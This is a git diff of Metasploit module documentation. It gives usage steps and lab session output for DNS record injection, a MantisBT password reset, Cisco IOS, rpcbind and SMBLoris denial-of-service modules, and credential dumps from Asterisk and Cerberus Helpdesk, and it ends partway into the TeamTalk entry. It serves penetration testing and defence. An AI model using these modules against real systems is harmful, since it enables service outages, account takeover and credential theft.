diff --git a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md
index b52fa70223..0c31240ea7 100644
--- a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md
+++ b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md
@@ -14,9 +14,9 @@ Naturally, audio should be cranked to 11 before running this module.
 
   The YouTube video to be played.  Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo)
 
-## Sample Output
+## Scenarios
 
-Of note, this was played on a 1st generation Google Chromecast (USB stick looking, not circular)
+### 1st generation Google Chromecast (USB stick looking, not circular)
 
 ```
 msf > auxiliary/admin/chromecast/chromecast_youtube
diff --git a/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md b/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md
new file mode 100644
index 0000000000..6e34452c26
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/dns/dns_dyn_update.md
@@ -0,0 +1,30 @@
+# Dynamic DNS Update Injection
+
+`dyn_dns_update` module allows adding or deleting DNS records
+on a DNS server that allows unrestricted dynamic updates.
+
+## Vulnerable Application
+
+Any DNS server that allows dynamic update for none trusted source IPs.
+
+## Verification Steps
+
+ 1. Start msfconsole
+ 2. Do: ```auxiliary/scanner/dns/dyn_dns_update```
+ 3. Do: ```set DOMAIN [IP]```
+ 4. Do: ```set NS [IP]```
+ 5. Do: ```set INJECTDOMAIN [IP]```
+ 6. Do: ```set INJECTIP [IP]```
+ 7. Do: ```set ACTION ADD```
+ 8. Do: ```run```
+
+## Actions
+
+There are two kind of actions the module can run:
+
+ 1. **ADD** - Add a new record. [Default]
+ 2. **DEL** - Delete an existing record.
+
+## Targeting Information
+
+WPAD may not work with Windows 2008+ targets due to a DNS block list: https://technet.microsoft.com/en-us/library/cc995261.aspx
diff --git a/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md b/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md
new file mode 100644
index 0000000000..92d8f908e3
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/http/mantisbt_password_reset.md
@@ -0,0 +1,30 @@
+## Vulnerable Application
+
+MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded
+on
+[Sourceforge](https://sourceforge.net/projects/mantisbt/files/mantis-stable/).
+
+## Verification Steps
+
+  1. Install the vulnerable software
+  2. Start msfconsole
+  3. Do: ```use auxiliary/admin/http/mantisbt_password_reset```
+  4. Do: ```set rhost```
+  5. Do: ```run```
+  6. If the system is vulnerable, the module should tell you that the password
+     was successfully changed.
+
+## Scenarios
+
+  ```
+   msf > use auxiliary/admin/http/mantisbt_password_reset
+   msf auxiliary(mantisbt_password_reset) > set rport 8082
+   rport => 8082
+   msf auxiliary(mantisbt_password_reset) > set rhost 127.0.0.1
+   rhost => 127.0.0.1
+   msf auxiliary(mantisbt_password_reset) > run
+   
+   [+] Password successfully changed to 'ndOQTmhQ'.
+   [*] Auxiliary module execution completed
+   msf auxiliary(mantisbt_password_reset) > 
+  ```
diff --git a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md
index db767d338b..0ad574b540 100644
--- a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md
+++ b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md
@@ -27,7 +27,7 @@
   7. You should get credentials
 
 
-## Sample Output
+## Scenarios
 
   ```
   [+] 172.16.191.166:8080 Authenticated successfully as 'admin'
diff --git a/documentation/modules/auxiliary/admin/http/zabbix_ldap_password_extractor.md b/documentation/modules/auxiliary/admin/http/zabbix_ldap_password_extractor.md
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/documentation/modules/auxiliary/client/hwbridge/connect.md b/documentation/modules/auxiliary/client/hwbridge/connect.md
index cafde81198..c41c1a2abc 100644
--- a/documentation/modules/auxiliary/client/hwbridge/connect.md
+++ b/documentation/modules/auxiliary/client/hwbridge/connect.md
@@ -28,13 +28,14 @@ Bluetooth HWBridge adapters, depending on the Operating System, may take several
 The following steps were [recorded during the testing of this module](https://github.com/rapid7/metasploit-framework/pull/7795#issuecomment-274302326)
 on setting up the [BAFX 34t5](https://bafxpro.com/products/obdreader) with Kali Linux 2016.2 (rolling).
 
-1. Ensure no locks on the Bluetooth device via: `rfkill list` (and subsequent `unblock` commands)
-2. Make sure Bluetooth service is started: `/etc/init.d/bluetooth start`, or `bluetoothd`
-3. Start bluetoothctl: `bluetoothctl`
-4. Turn on scanning: `scan on`
-5. Turn on agent: `agent on`
-6. Make sure we can see OBDII: `devices`
-7. Attempt to pair: `[bluetooth]# pair 00:0D:18:AA:AA:AA`
+1. Most Bluetooth HWBridge adapters, speak serial. So you will need to get the ruby gem "serialport": ```gem install serialport```
+2. Ensure no locks on the Bluetooth device via: `rfkill list` (and subsequent `unblock` commands)
+3. Make sure Bluetooth service is started: `/etc/init.d/bluetooth start`, or `bluetoothd`
+4. Start bluetoothctl: `bluetoothctl`
+5. Turn on scanning: `scan on`
+6. Turn on agent: `agent on`
+7. Make sure we can see OBDII: `devices`
+8. Attempt to pair: `[bluetooth]# pair 00:0D:18:AA:AA:AA`
 
   ```
   Attempting to pair with 00:0D:18:AA:AA:AA
diff --git a/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md b/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
new file mode 100644
index 0000000000..a4d2e159f4
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
@@ -0,0 +1,161 @@
+## Vulnerable Application
+
+  1. Obtain a Cisco switch of any model indicated here that is running vulnerable firmware: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp. Note that the vulnerability spans many years. We tested two firmwares 10 years apart and were able to verify exploitability.
+  2. Enable telnet access and verify that you can reach the switch normally via that mode.
+
+## Verification Steps
+
+  1. Start msfconsole
+  2. Do: `use auxiliary/dos/cisco/ios_telnet_rocem`
+  3. Do: `set RHOST 192.168.1.10`
+  4. Do: ```run```
+  5. The switch should restart and display crash information on the console.
+
+## Scenarios
+
+```
+Switch#sh ver
+*Mar  1 01:28:01.802: %SYS-5-CONFIG_I: Configured from console by console
+Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(53)SE2, RELEASE SOFTWARE (fc3)
+Technical Support: http://www.cisco.com/techsupport
+Copyright (c) 1986-2010 by Cisco Systems, Inc.
+Compiled Wed 21-Apr-10 04:49 by prod_rel_team
+Image text-base: 0x01000000, data-base: 0x02C00000
+ROM: Bootstrap program is C3750 boot loader
+BOOTLDR: C3750 Boot Loader (C3750-HBOOT-M) Version 12.2(44)SE5, RELEASE SOFTWARE (fc1)
+Switch uptime is 1 hour, 28 minutes
+System returned to ROM by power-on
+System image file is "flash:/c3750-ipbasek9-mz.122-53.SE2/c3750-ipbasek9-mz.122-53.SE2.bin"
+[...]
+cisco WS-C3750-48TS (PowerPC405) processor (revision M0) with 131072K bytes of memory.
+Processor board ID CAT1017Z2Z2
+Last reset from power-on
+1 Virtual Ethernet interface
+48 FastEthernet interfaces
+4 Gigabit Ethernet interfaces
+The password-recovery mechanism is enabled.
+[...]
+Cisco IOS Software, C3750 Software (C3750-IPSERVICESK9-M), Version 12.2(55)SE10, RELEASE SOFTWARE (fc2)
+Technical Support: http://www.cisco.com/techsupport
+Copyright (c) 1986-2015 by Cisco Systems, Inc.
+Compiled Wed 11-Feb-15 11:40 by prod_rel_team
+Image text-base: 0x01000000, data-base: 0x02F00000
+[...]
+Election Complete
+Switch 2 booting as Master
+Waiting for Port download...Complete
+[...]
+cisco WS-C3750-48TS (PowerPC405) processor (revision M0) with 131072K bytes of memory.
+Processor board ID CAT1017Z2Z2
+Last reset from power-on
+1 Virtual Ethernet interface
+48 FastEthernet interfaces
+4 Gigabit Ethernet interfaces
+The password-recovery mechanism is enabled.
+[...]
+Switch Ports Model              SW Version            SW Image
+------ ----- -----              ----------            ----------
+*    2 52    WS-C3750-48TS      12.2(55)SE10          C3750-IPSERVICESK9-M
+[... booted successfully, waiting at a prompt, DoS exploit follows ...]
+Switch#
+ 00:37:15 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 400, PC = 41414140
+-Traceback= 41414140
+Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_1
+=== Flushing messages (00:37:19 UTC Mon Mar 1 1993) ===
+Buffered messages:
+00:00:26: %STACKMGR-4-SWITCH_ADDED: Switch 1 has been ADDED to the stack
+00:00:27: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down
+00:00:29: %SPANTREE-5-EXTENDED_SYSID: Extended SysId enabled for type vlan
+00:00:50: %STACKMGR-5-SWITCH_READY: Switch 1 is READY
+00:00:50: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 1 Switch 1 has changed to state DOWN
+00:00:50: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 2 Switch 1 has changed to state DOWN
+00:00:50: %STACKMGR-5-MASTER_READY: Master Switch 1 is READY
+00:00:50: %SYS-5-RESTART: System restarted --
+Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1)
+Copyright (c) 1986-2007 by Cisco Systems, Inc.
+Compiled Fri 20-Jul-07 01:58 by nachen
+00:01:48: %SYS-5-CONFIG_I: Configured from console by console
+00:27:53: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up
+00:27:54: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up
+00:28:22: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up
+00:30:00: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to down
+00:30:00: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down
+00:30:01: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to down
+00:32:44: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up
+00:32:45: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up
+00:33:13: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up
+Queued messages:
+Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1)
+Copyright (c) 1986-2007 by Cisco Systems, Inc.
+Compiled Fri 20-Jul-07 01:58 by nachen
+Instruction Access Exception (0x0400)!
+SRR0 = 0x41414140  SRR1 = 0x00029230  SRR2 = 0x00648990  SRR3 = 0x00021200
+ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x8C000000  DBSR = 0x00000000
+CPU Register Context:
+Vector = 0x00000400  PC = 0x41414140  MSR = 0x00029230  CR = 0x53000005
+LR = 0x41414141  CTR = 0x0004D860  XER = 0xC0000050
+R0 = 0x41414141  R1 = 0x02DDEE80  R2 = 0x00000000  R3 = 0x0358907C
+R4 = 0x00000001  R5 = 0xFFFFFFFF  R6 = 0x0182C1B0  R7 = 0x00000000
+R8 = 0x00000001  R9 = 0x0290C84C  R10 = 0x00000031  R11 = 0x00000000
+R12 = 0x00221C89  R13 = 0x00110000  R14 = 0x00BD7284  R15 = 0x00000000
+R16 = 0x00000000  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x00000000
+R20 = 0xFFFFFFFF  R21 = 0x00000000  R22 = 0x00000000  R23 = 0x02DDF078
+R24 = 0x00000000  R25 = 0x00000001  R26 = 0x000003FB  R27 = 0x00000024
+R28 = 0x41414141  R29 = 0x41414141  R30 = 0x41414141  R31 = 0x41414141
+Stack trace:
+PC = 0x41414140, SP = 0x02DDEE80
+Frame 00: SP = 0x41414141    PC = 0x41414141
+Switch uptime is 37 minutes, 22 seconds
+[... rebooting ... ]
+Switch   Ports  Model              SW Version              SW Image
+------   -----  -----              ----------              ----------
+*    1   52     WS-C3750-48TS      12.2(35)SE5             C3750-IPBASEK9-M
+Failed to generate persistent self-signed certificate.
+    Secure server will use temporary self-signed certificate.
+Press RETURN to get started!
+00:00:26: %STACKMGR-4-SWITCH_ADDED: Switch 1 has been ADDED to the stack
+00:00:27: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down
+00:00:29: %SPANTREE-5-EXTENDED_SYSID: Extended SysId enabled for type vlan
+00:00:31: %SYS-5-CONFIG_I: Configured from memory by console
+00:00:31: %STACKMGR-5-SWITCH_READY: Switch 1 is READY
+00:00:31: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 1 Switch 1 has changed to state DOWN
+00:00:31: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 2 Switch 1 h
+Switch>
+Switch>as changed to state DOWN
+00:00:32: %STACKMGR-5-MASTER_READY: Master Switch 1 is READY
+00:00:32: %SYS-5-RESTART: System restarted --
+Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1)
+Copyright (c) 1986-2007 by Cisco Systems, Inc.
+Compiled Fri 20-Jul-07 01:58 by nachen
+00:00:33: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up
+00:00:34: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up
+Switch>
+Switch>
+00:01:04: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up
+00:01:32: %PLATFORM-1-CRASHED: System previously crashed with the following message:
+00:01:32: %PLATFORM-1-CRASHED: Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1)
+00:01:32: %PLATFORM-1-CRASHED: Copyright (c) 1986-2007 by Cisco Systems, Inc.
+00:01:32: %PLATFORM-1-CRASHED: Compiled Fri 20-Jul-07 01:58 by nachen
+00:01:32: %PLATFORM-1-CRASHED:
+00:01:32: %PLATFORM-1-CRASHED: Instruction Access Exception (0x0400)!
+00:01:32: %PLATFORM-1-CRASHED:
+00:01:32: %PLATFORM-1-CRASHED: SRR0 = 0x41414140  SRR1 = 0x00029230  SRR2 = 0x00648990  SRR3 = 0x00021200
+00:01:32: %PLATFORM-1-CRASHED: ESR = 0x00000000  DEAR = 0x00000000  TSR = 0x8C000000  DBSR = 0x00000000
+00:01:32: %PLATFORM-1-CRASHED:
+00:01:32: %PLATFORM-1-CRASHED: CPU Register Context:
+00:01:32: %PLATFORM-1-CRASHED: Vector = 0x00000400  PC = 0x41414140  MSR = 0x00029230  CR = 0x53000005
+00:01:32: %PLATFORM-1-CRASHED: LR = 0x41414141  CTR = 0x0004D860  XER = 0xC0000050
+00:01:32: %PLATFORM-1-CRASHED: R0 = 0x41414141  R1 = 0x02DDEE80  R2 = 0x00000000  R3 = 0x0358907C
+00:01:32: %PLATFORM-1-CRASHED: R4 = 0x00000001  R5 = 0xFFFFFFFF  R6 = 0x0182C1B0  R7 = 0x00000000
+00:01:32: %PLATFORM-1-CRASHED: R8 = 0x00000001  R9 = 0x0290C84C  R10 = 0x00000031  R11 = 0x00000000
+00:01:32: %PLATFORM-1-CRASHED: R12 = 0x00221C89  R13 = 0x00110000  R14 = 0x00BD7284  R15 = 0x00000000
+00:01:32: %PLATFORM-1-CRASHED: R16 = 0x00000000  R17 = 0x00000000  R18 = 0x00000000  R19 = 0x00000000
+00:01:32: %PLATFORM-1-CRASHED: R20 = 0xFFFFFFFF  R21 = 0x00000000  R22 = 0x00000000  R23 = 0x02DDF078
+00:01:32: %PLATFORM-1-CRASHED: R24 = 0x00000000  R25 = 0x00000001  R26 = 0x000003FB  R27 = 0x00000024
+00:01:32: %PLATFORM-1-CRASHED: R28 = 0x41414141  R29 = 0x41414141  R30 = 0x41414141  R31 = 0x41414141
+00:01:32: %PLATFORM-1-CRASHED:
+00:01:32: %PLATFORM-1-CRASHED: Stack trace:
+00:01:32: %PLATFORM-1-CRASHED: PC = 0x41414140, SP = 0x02DDEE80
+00:01:32: %PLATFORM-1-CRASHED: Frame 00: SP = 0x41414141    PC = 0x41414141
+00:01:32: %PLATFORM-1-CRASHED:
+```
diff --git a/documentation/modules/auxiliary/dos/rpc/rpcbomb.md b/documentation/modules/auxiliary/dos/rpc/rpcbomb.md
new file mode 100644
index 0000000000..3d656d8ca9
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/rpc/rpcbomb.md
@@ -0,0 +1,29 @@
+## Vulnerable Application
+
+This module [exploits a vulnerability](http://openwall.com/lists/oss-security/2017/05/03/12) in rpcbind through 0.2.4,
+LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.
+
+Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Do: `use auxiliary/dos/rpc/rpcbomb`
+1. Do: `set RHOSTS [IP]`
+1. Do: `run`
+1. Target should leak memory
+
+## Scenarios
+
+### rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)
+
+```
+msf > use auxiliary/dos/rpc/rpcbomb 
+msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
+RHOSTS => 10.0.2.7
+msf auxiliary(rpcbomb) > run
+
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(rpcbomb) >
+```
diff --git a/documentation/modules/auxiliary/dos/smb/smb_loris.md b/documentation/modules/auxiliary/dos/smb/smb_loris.md
new file mode 100644
index 0000000000..b52819fde6
--- /dev/null
+++ b/documentation/modules/auxiliary/dos/smb/smb_loris.md
@@ -0,0 +1,43 @@
+## Vulnerable Application
+
+  This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
+  Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
+  See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
+  
+  The module opens over 64,000 connections to the target service, so please make sure
+  your system ULIMIT is set appropriately to handle it. A single host running this module
+  can theoretically consume up to 8GB of memory on the target.
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Start msfconsole
+  1. Do: `use auxiliary/dos/smb/smb_loris`
+  1. Do: `set RHOST [IP]`
+  1. Do: `run`
+  1. Target should allocate increasing amounts of memory.
+
+## Scenarios
+
+### 
+
+```
+msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris
+msf auxiliary(smb_loris) > set RHOST 192.168.172.138
+RHOST => 192.168.172.138
+msf auxiliary(smb_loris) >
+
+msf auxiliary(smb_loris) > run
+
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
+[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
+....
+```
diff --git a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md
index d67840386a..ae4bdd45f9 100644
--- a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md
+++ b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md
@@ -24,7 +24,7 @@ http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccess
 ## Verification Steps
 
 1. Start msfconsole
-2. ```use auxiliary/gahter/advantech_webaccess_creds```
+2. ```use auxiliary/gather/advantech_webaccess_creds```
 3. ```set WEBACCESSUSER [USER]```
 4. ```set WEBACCESSPASS [PASS]```
 5. ```run```
diff --git a/documentation/modules/auxiliary/gather/asterisk_creds.md b/documentation/modules/auxiliary/gather/asterisk_creds.md
new file mode 100644
index 0000000000..b936d24698
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/asterisk_creds.md
@@ -0,0 +1,62 @@
+## Description
+
+  This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service.
+
+  Valid manager credentials are required.
+
+
+## Vulnerable Application
+
+  [Asterisk](http://www.asterisk.org/get-started/features) offers both classical PBX functionality and advanced features, and interoperates with traditional standards-based telephony systems and Voice over IP systems.
+
+  This module has been tested successfully on:
+
+  * Asterisk Call Manager version 2.10.0 on Asterisk 13.16.0
+  * Asterisk Call Manager version 1.1 on Asterisk 1.6.2.11
+
+  The following software comes with Asterisk preinstalled and can be used for testing purposes:
+
+  * [FreePBX](https://www.freepbx.org/downloads/)
+  * [VulnVoIP](https://www.rebootuser.com/?p=1069)
+
+  Note that Asterisk will reject valid authentication credentials when connecting from a network that has not been permitted using the `permit` directive (or is specifically denied in the `deny` directive) in the Asterisk manager configuration file `/etc/asterisk/manager.conf`.
+
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use auxiliary/gather/asterisk_creds`
+  3. Do: `set rhost <RHOST>`
+  4. Do: `set rport <RPORT>` (default: `5038`)
+  5. Do: `set username <USERNAME>` (default: `admin`)
+  6. Do: `set password <PASSWORD>` (default: `amp111`)
+  7. Do: `run`
+  8. You should get credentials
+
+
+## Scenarios
+
+  ```
+  [*] 172.16.191.229:5038 - Found Asterisk Call Manager version 2.10.0
+  [+] 172.16.191.229:5038 - Authenticated successfully
+  [*] 172.16.191.229:5038 - Found 9 users
+
+  Asterisk User Credentials
+  =========================
+
+   Username  Secret                Type
+   --------  ------                ----
+   100                             sip
+   103       bbf5d449753391a       sip
+   104       273db6cd9ca402f53354  iax2
+   105       secret password       sip
+   106       "_" ;)                iax2
+   107       123456789             sip
+   108       ~!@#$%^&*()_+{}       sip
+   109       antidisestablishment  iax2
+   123       y2u.be/VOaZbaPzdsk    iax2
+
+  [+] 172.16.191.229:5038 - Credentials saved in: /root/.msf4/loot/20170723052316_default_172.16.191.229_asterisk.user.cr_798166.txt
+  [*] Auxiliary module execution completed
+  ```
+
diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md
index fb243e2805..92ea6fe952 100644
--- a/documentation/modules/auxiliary/gather/censys_search.md
+++ b/documentation/modules/auxiliary/gather/censys_search.md
@@ -9,9 +9,9 @@ The module use the Censys REST API to access the same data accessible through we
 5: Do: `set CENSYS_DORK rapid7`
 6: Do: `run`
 
-## Sample Output
+## Scenarios
 
-#### Certificates Search
+### Certificates Search
 
 ```
 msf auxiliary(censys_search) > set CENSYS_DORK rapid7
diff --git a/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md b/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md
new file mode 100644
index 0000000000..12bdbeb9e0
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md
@@ -0,0 +1,82 @@
+## Description
+
+This module opens a `devblocks_cache---ch_workers` or `zend_cache---ch_workers` file which contains a
+data structure with username and password hash (MD5) credentials.  The contents looks similar to JSON, however it is not.
+
+## Vulnerable Application
+
+This module has been verified against the following Cerberus Helpdesk versions:
+
+1. Version 4.2.3 Stable (Build 925)
+2. Version 5.4.4
+
+However it may also work up to, but not including, version 6.7
+
+Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/882596e791e54529b29ecbc6f48a6cb7-cerb5-5_4_4.zip)
+
+* of note, 5.4.4 has to be installed on a PRE php7 environment.
+
+## Verification Steps
+
+1. Start msfconsole
+2. ```use auxiliary/gather/cerberus_helpdesk_hash_disclosure```
+3. ```set rhosts [rhosts]```
+4. ```run```
+
+## Scenarios
+
+### 4.2.3 using zend (not verbose)
+
+  ```
+    msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 1.1.1.1
+    rhosts => 1.1.1.1
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
+    
+    [-] Invalid response received for 1.1.1.1    for /storage/tmp/devblocks_cache---ch_workers
+    [+] Found: admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b
+    [+] Found: example:112302c209fe8d73f502c132a3da2b1c
+    [+] Found: foobar:0d108d09e5bbe40aade3de5c81e9e9c7
+    
+    Cerberus Helpdesk User Credentials
+    ==================================
+    
+     Username                     Password Hash
+     --------                     -------------
+     admin                        aaa34a6111abf0bd1b1c4d7cd7ebb37b
+     example                      112302c209fe8d73f502c132a3da2b1c
+     foobar                       0d108d09e5bbe40aade3de5c81e9e9c7
+    
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
+
+### 5.4.4 using devblocks
+
+  ```
+    msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure 
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 192.168.2.45
+    rhosts => 192.168.2.45
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set targeturi /cerb5/
+    targeturi => /cerb5/
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > set verbose true
+    verbose => true
+    msf auxiliary(cerberus_helpdesk_hash_disclosure) > run
+    
+    [*] Attempting to load data from /cerb5/storage/tmp/devblocks_cache---ch_workers
+    [+] Found: bar@none.com:37b51d194a7513e45b56f6524f2d51f2
+    [+] Found: foo@none.com:acbd18db4cc2f85cedef654fccc4a4d8
+    [+] Found: mike@shorebreaksecurity.com:18126e7bd3f84b3f3e4df094def5b7de
+    
+    Cerberus Helpdesk User Credentials
+    ==================================
+    
+     Username                     Password Hash
+     --------                     -------------
+     bar@none.com                 37b51d194a7513e45b56f6524f2d51f2
+     foo@none.com                 acbd18db4cc2f85cedef654fccc4a4d8
+     admin@example.com            18126e7bd3f84b3f3e4df094def5b7de
+    
+    [*] Scanned 1 of 1 hosts (100% complete)
+    [*] Auxiliary module execution completed
+  ```
diff --git a/documentation/modules/auxiliary/gather/http_pdf_authors.md b/documentation/modules/auxiliary/gather/http_pdf_authors.md
new file mode 100644
index 0000000000..f115fe4fb6
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/http_pdf_authors.md
@@ -0,0 +1,87 @@
+This module downloads PDF files and extracts the author's name from the document metadata.
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Do: `use auxiliary/gather/http_pdf_authors`
+  3. Do: `set URL [URL]`
+  4. Do: `run`
+
+
+## Options
+
+**URL**
+
+The URL of a PDF to analyse.
+
+**URL_LIST**
+
+File containing a list of PDF URLs to analyze.
+
+**OUTFILE**
+
+File to store extracted author names.
+
+
+## Scenarios
+
+### URL
+
+  ```
+  msf auxiliary(http_pdf_authors) > set url http://127.0.0.1/test4.pdf
+  url => http://127.0.0.1/test4.pdf
+  msf auxiliary(http_pdf_authors) > run
+
+  [*] Processing 1 URLs...
+  [*] Downloading 'http://127.0.0.1/test4.pdf'
+  [*] HTTP 200 -- Downloaded PDF (38867 bytes)
+  [+] PDF Author: Administrator
+  [*] 100.00% done (1/1 files)
+
+  [+] Found 1 authors: Administrator
+  [*] Auxiliary module execution completed
+  ```
+
+### URL_LIST with OUTFILE
+
+  ```
+  msf auxiliary(http_pdf_authors) > set outfile /root/output
+  outfile => /root/output
+  msf auxiliary(http_pdf_authors) > set url_list /root/urls
+  url_list => /root/urls
+  msf auxiliary(http_pdf_authors) > run
+
+  [*] Processing 8 URLs...
+  [*] Downloading 'http://127.0.0.1:80/test.pdf'
+  [*] HTTP 200 -- Downloaded PDF (89283 bytes)
+  [*]  12.50% done (1/8 files)
+  [*] Downloading 'http://127.0.0.1/test2.pdf'
+  [*] HTTP 200 -- Downloaded PDF (636661 bytes)
+  [+] PDF Author: sqlmap developers
+  [*]  25.00% done (2/8 files)
+  [*] Downloading 'http://127.0.0.1/test3.pdf'
+  [*] HTTP 200 -- Downloaded PDF (167478 bytes)
+  [+] PDF Author: Evil1
+  [*]  37.50% done (3/8 files)
+  [*] Downloading 'http://127.0.0.1/test4.pdf'
+  [*] HTTP 200 -- Downloaded PDF (38867 bytes)
+  [+] PDF Author: Administrator
+  [*]  50.00% done (4/8 files)
+  [*] Downloading 'http://127.0.0.1/test5.pdf'
+  [*] HTTP 200 -- Downloaded PDF (34312 bytes)
+  [+] PDF Author: ekama
+  [*]  62.50% done (5/8 files)
+  [*] Downloading 'http://127.0.0.1/doesnotexist.pdf'
+  [*] HTTP 404 -- Downloaded PDF (289 bytes)
+  [-] Could not parse PDF: PDF is malformed
+  [*]  75.00% done (6/8 files)
+  [*] Downloading 'https://127.0.0.1/test.pdf'
+  [-] Connection failed: Failed to open TCP connection to 127.0.0.1:443 (Connection refused - connect(2) for "127.0.0.1" port 443)
+  [*] Downloading 'https://127.0.0.1:80/test.pdf'
+  [-] Connection failed: SSL_connect returned=1 errno=0 state=unknown state: unknown protocol
+
+  [+] Found 4 authors: sqlmap developers, Evil1, Administrator, ekama
+  [*] Writing data to /root/output...
+  [*] Auxiliary module execution completed
+  ```
+
diff --git a/documentation/modules/auxiliary/gather/teamtalk_creds.md b/documentation/modules/auxiliary/gather/teamtalk_creds.md
new file mode 100644
index 0000000000..9229e4d649
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/teamtalk_creds.md
@@ -0,0 +1,53 @@
+## Description
+
+  This module retrieves user credentials from BearWare TeamTalk.
+
+  Valid administrator credentials are required.
+
+  Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges.
+
+
+## Vulnerable Application
+
